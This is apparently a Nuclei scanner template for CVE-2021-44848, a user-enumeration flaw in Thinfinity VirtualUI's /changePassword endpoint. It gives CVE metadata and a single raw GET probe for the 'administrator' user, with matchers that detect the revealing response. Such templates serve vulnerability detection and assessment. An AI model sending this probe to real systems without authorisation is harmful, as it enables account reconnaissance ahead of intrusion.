id: CVE-2021-44848
info:
name: Thinfinity VirtualUI User Enumeration
author: danielmofer
severity: medium
description: Thinfinity VirtualUI (before v3.0), /changePassword returns different responses for requests depending on whether the username exists. It may enumerate OS users (Administrator, Guest, etc.)
reference:
- https://github.com/cybelesoft/virtualui/issues/1
- https://nvd.nist.gov/vuln/detail/CVE-2021-44848
- https://www.tenable.com/cve/CVE-2021-44848
tags: cve,cve2021,exposure,thinfinity,virtualui
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.30
cve-id: CVE-2021-44848
cwe-id: CWE-287
requests:
- raw:
- |
GET /changePassword?username=administrator HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- '"rc":(.*?)'
- '"msg":"(.*?)"'
condition: and
- type: status
status:
- 200
# Enhanced by mp on 2022/02/28
